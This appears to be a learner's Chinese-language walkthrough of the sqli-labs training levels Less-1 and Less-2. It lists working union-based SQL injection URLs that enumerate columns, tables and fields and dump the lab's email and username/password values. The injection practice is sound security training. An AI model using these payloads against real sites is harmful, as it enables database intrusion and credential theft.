Less-1:
1.用order by得出待查表里有三个字段
http://192.168.40.165/sqli-labs-master/Less-1/?id=1' order by 3--+
2.用union select得到数据库名——security
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,database(),2--+
3.用select group_concat(table_name) from information_schema.columns where table_schema=database()得到数据表名——emails,referers,referers,uagents,users
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.columns where table_schema=database())--+
4.用select group_concat(column_name) from information_schema.columns where table_name='emails'得到数据表中的字段名——id,email_id
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='emails'),database()--+
5.用select group_concat(id,email_id) from emails 得到字段的值——name:[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected],[email protected]
http://192.168.40.165/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(id,email_id) from emails),database()--+
less-2
在2里面"and"居然失效了,好迷啊,索性"order by"还可以用
- 有三列数据:
- http://192.168.40.165/sqli-labs-master/Less-2/?id=1 order by 3--+
- 当前数据库:security
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),3--+
- security里面的数据表:_emails,_emails,_referers,_referers,_referers,_uagents,_uagents,_uagents,_uagents,_users,_users,_users
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),(select group_concat('_',table_name) from information_schema.columns where table_schema=database())--+
- users表里的字段:user_id,first_name,last_name,user,password,avatar,id,username,password
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_name='users')--+
- 得到字段值:DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4
- http://192.168.40.165/sqli-labs-master/Less-2/?id=-1 union select 1,(select group_concat(username,password) from users),(select group_concat(column_name) from information_schema.columns where table_name='users')--+